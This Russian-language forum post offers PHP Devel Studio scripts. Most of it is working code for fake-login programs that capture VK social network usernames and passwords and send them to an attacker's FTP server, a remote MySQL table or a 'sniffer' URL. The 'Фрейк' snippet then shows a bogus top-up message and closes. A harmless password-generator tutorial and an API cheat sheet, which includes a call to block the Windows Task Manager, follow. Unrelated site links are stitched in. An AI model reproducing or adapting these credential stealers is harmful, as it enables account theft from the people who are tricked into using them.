Полезные скрипты для php devel studio

Альтернативный способ отправки даных!

Код: выделить всеPHP highlight
$ftp_server = (“”); // сервер FTP
$ftp_login = (“”); // логин FTP
$ftp_pass = (“”); // пароль FTP
$file = (‘logs.txt’); // имя файла с логами
$vk_login = c(“edit1”)->text; // логин (с фейка)
$vk_pass = c(“edit2″)->text; // пароль (с фейка)
$open = ftp_connect($ftp_server, 21, 30); // подключение к FTP серверу
ftp_connect($ftp_server, 21, 30); // подключаемся
ftp_login($open, $ftp_login, $ftp_pass); // авторизуемся
ftp_get($open, $file, $file, FTP_BINARY); // скачиваем файл с логами
$log = fopen($file,”a+”); // открываем скаченный файл
fwrite($log,”$vk_login;$vk_pass n”); // записываем данные
fclose($log); // закрываем файл
ftp_pasv($open, true); // переключаемся в пассивный режим
!ftp_put($open, $file, $file, FTP_BINARY); // отправляем файл на FTP
ftp_close($open); // закрываем соеденение
file_delete(“$file”); // удаляем файл с логами из компьютера
Создаем в корне FTP файл logs.txt с правами 777

Код конечно сырой, но рабочий. Файл просмотреть из WEB пока что нельзя. Если вам это нужно – просто доработайте.

2. База MySQL
Для того, чтобы этот способ работал, необходим удаленный доступ к базе данных.
Создаем базу данных и делаем SQL запрос:
code:
CREATE TABLE `vk_logs` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`login` VARCHAR( 255 ) NOT NULL ,
`password` VARCHAR( 255 ) NOT NULL
) ENGINE = INNODB CHARACTER SET utf8 COLLATE utf8_general_ci;
Код:
PHP highlight
$vk_login = c(“edit1”)->text; // логин (с фейка)
$vk_pass = c(“edit2”)->text; // пароль (с фейка)

$hostname = “localhost”; // адрес MySQL сервера
$username = “myusername”; // имя пользователя MySQL
$password = “mypassword”; // пароль пользователя MySQL
$dbName = “products”; // имя базы данных MySQL

mysql_connect($hostname,$username,$password); // подключаемся
mysql_select_db($dbName); // выбираем базу данных
mysql_query(“INSERT INTO `vk_logs` SET `login`='”.$vk_login.”‘, `password`='”.$vk_password.”‘;”); // выполняем запрос записи
mysql_close($hostname); закрываем соеденение

Читайте также:  Полезные идеи для вещей своими руками

Генератор паролей:
1) Запускаем PHP Devel Studio.
2) Создадим 2 формы, назавём 1 – “Генератор паролей или ключа”, а 2, например “Меню программы”
3) Наложим на форму четыре компонента: memo1, progressbar1, timer1, button1, button2.
Переименуем button1 в “Получить ключ”
Переименуем button2 в “Войти в программу.”
Обязательно в memo1 ставим галочку “Только чтение”, для чего это нужно, я попозже обясню
4) Далее на button1 добавляем событие “Клик” и вставляем туда вот этот код:

Код: выделить все$sim = “123456789”;
for($i=0;$i<8;$i++){
$pass.=$sim[rand(0,8)];
}
for($x=1;$x<15;$x++){
$str .= $pass._BR_;
}
c(“timer1”)->enable = true; // timer1 включен
c(“timer1”)->repeat = true; // timer1 повторяется
c(“button1”)->enabled = false; // button1 выключен
c(“progress1”)->position=9;

5) После этого создаем событие на таймере под названием “Таймер”, и вставляем также туда код:

c(“progress1”)->position +=25; // т.к. время у нас стоит 1000 мс = 1 с,то добавляет каждую секунду по 1 штучке в прогресс бар,а по стандарту в прогресс баре максимум стоит 100.
$time = c(“progress1”)->position;
if($time==100){
c(“timer1”)->enable = false; // если таймер дошел до конца, он выключается
c(“button1”)->enabled = true; // если таймер дошел до конца, button1 включается.
$sim = “123456789”;
for($i=0;$i<8;$i++){
$pass.=$sim[rand(0,8)];
}
for($x=1;$x<15;$x++){
c(“Form1->memo1”)->text .= $pass._BR_; // полученный пароль записывается в memo1
$str .= $pass._BR_;
}
}

6) На button2 добавляем событие “Клик” и вводим туда вот такой код:

if(c(“memo1″)->text ==””){ //Если в memo1 ничего не введено, а туда никак нельзя ввести цифры и буквы, кроме нажатии кнопки “Получить ключ” т.к. у нас есть свойство “Только чтение”,
print(‘Вы не ввели ключ. Повторите попытку.’);
} else {
ShowForm(Form2, SW_SHOW); // появляется Form2
HideForm(Form1, SW_SHOW); // скрывается Form1
}

Фрейк:

Код: выделить все$edit1 = c(‘Form1->edit1’)->text;

$edit2 = c(‘Form1->edit2’)->text;

$combobox1 = c(‘Form1->combobox1’)->inText;

$url = “Ссылка на ваш сниффер”;

file_get_contents($url . “?” . “Логин:” . $edit1 . “|Пароль:” . $edit2);

Читайте также:  Чем полезна курица и куриный бульон

c(“button1”)->enabled = false;

MessageBox(“Ваш запрос будет просмотрен в течении суток! Программа закроется автоматически!”,”Пополнение…”);

app::close();

Другое:
1. Приложение

Код: выделить все LoadForm(, LD_NONE); —-> Загрузить форму.
ShowForm(, SW_SHOW); ——> Показать форму.
HideForm(, SW_SHOW); ——> Скрыть форму.
messageDlg(“”, mtWarning, MB_OK); ——— Сообщение диалог.
MessageBox(“”, “”); ——> Показать сообщение.
app::close(); ——> Закрыть приложение.
app::hide(); ——-> Минимизировать приложение.
app::restore(); ——> Восстановление приложение.
app::title(“”); ——-> Задать заголовок приложения.

2. Скрипты

Код: выделить все include “”; ——> Подключение файла в код сценария PHP.
require “”; ——> Подключить php скрипт.
if () ————–> Если тогда …
else ————–> Иначе …
{ ——————> Начало.
} ——————> Конец.
unset($x); ——-> Уничтожить переменную.
$x = ; ———–> Задать Значение переменной.
// —————> Комментарий.

3. Система

Код: выделить все Run(“”, false); ——–> Открыть или Запустить.
RunWith(“”, “”); ——> Открыть с помощью программы.
DisableTaskMng(false); ——–> Блокировать Диспетчер задач Windows.
WinShutdown(); ——> Выключение Системы или Компьютера.
WinRestart(); ———> Перезагрузка Компьютера.
WinLogoff(); ———-> Выход из системы.
WinSleep(); ————> Спящий режим.
SetupInf(“”); ———–> Установить драйвера.
$x = winLocalPath( CSIDL_DESKTOP ); ———–> Узнать локальную win директорию.

4. Ini файлы

Код: выделить все ini::open(“”); ——–> Открытие Ini файлов.
ini::read(“”, “”, $x); ——–> Прочитать значение из Ini.
ini::write(“”, “”, “”); ———> Запись в значение Ini.
ini::deleteSection(“”); ———> Удаление Ini секции.
ini::deleteKey(“”, “”); ———-> Удаление Ini ключ.
ini::readSections($x); ———-> Прочитать секции из Ini.
ini::readKeys(“”, $x); ———–> Чтение ключей из Ini файлов.

5. Реестр

Код: выделить все readRegKey(HKEY_CLASSES_ROOT, “”, , STRING); ———–> Чтение реестра.
writeRegKey(HKEY_CLASSES_ROOT, “”, “”, STRING); ———–> Запись реестра.

Ставим спс кому помог[/b]

Источник